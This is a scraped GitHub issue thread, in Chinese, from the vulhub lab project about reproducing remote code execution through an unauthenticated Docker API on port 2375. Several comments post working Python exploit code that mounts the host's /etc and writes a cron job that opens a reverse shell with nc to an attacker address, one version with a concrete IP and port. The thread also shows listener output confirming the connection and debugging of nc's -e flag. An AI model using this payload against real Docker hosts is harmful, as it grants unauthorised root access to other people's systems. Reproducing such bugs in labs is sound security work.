Git Product home page Git Product logo

Comments (9)

phith0n avatar phith0n commented on July 26, 2024

运行容器docker-compose up -d后,在本地用python执行:

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 反弹地址 反弹端口 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

image

执行成功。

反弹shell成功:

image

image

没有遇到你说的问题。

from vulhub.

phith0n avatar phith0n commented on July 26, 2024

看不懂你的描述:

发现无法回弹nc
用 tcp://youip:2375/ ps 发现无容器, 无法执行命令

我们创建的容器是执行写入文件操作后立即删除的,他的目的只是为了修改crontab文件,完成任务后就删除,不会存在能一直看到这个容器的情况。

from vulhub.

Tren avatar Tren commented on July 26, 2024

1 2e0 f b15w0h3jr 6413
我的操作跟p牛你一样 是反弹不回来

from vulhub.

phith0n avatar phith0n commented on July 26, 2024

执行docker-compose exec docker sh进入容器内,查看/etc/crontabs/root,看看crontab是否写入成功。

因为是crontab,所以要等待1~2分钟才能收到shell。

排查这些错误,如果还是解决不了,我也没办法了,等待其他人反馈更多信息。

from vulhub.

Tren avatar Tren commented on July 26, 2024

那个 我好像解决了! 原因是 容器里面 nc 不支持-e 不知道为啥?
最后使用:
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /bin/sh | nc 192.168.0.112 9090' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

root@ubuntu:/home/xxxxxx/Desktop/vulhub/docker/unauthorized-rce# nc -lvvp 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from 172.18.0.2 36961 received!

from vulhub.

phith0n avatar phith0n commented on July 26, 2024

不清楚,我的nc是支持的。。。先关闭issue了。

from vulhub.

neargle avatar neargle commented on July 26, 2024

@Tren 的截图可以看到,你使用的是ubuntu系统。ubuntu系统的 nc 属于 OpenBSD 分支:

The OpenBSD one doesn't support -e for executing a command after connection.

这个不属于 vulhub 的问题,该漏洞使用 docker 的 volumes 影响容器外宿主机的 crontab, 所以 payload 要根据宿主机发生变化。

from vulhub.

phith0n avatar phith0n commented on July 26, 2024

不能啊,是用的docker in docker,实际弹shell的应该是docker:dind呀。。不解。。

from vulhub.

neargle avatar neargle commented on July 26, 2024

image

还真是... 没有看 dockerfile 直接想当然的得结论。
这下丢脸了,师父快帮我关掉 PR.
不过不是这个原因的话是为什么呢... 不懂了...

from vulhub.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.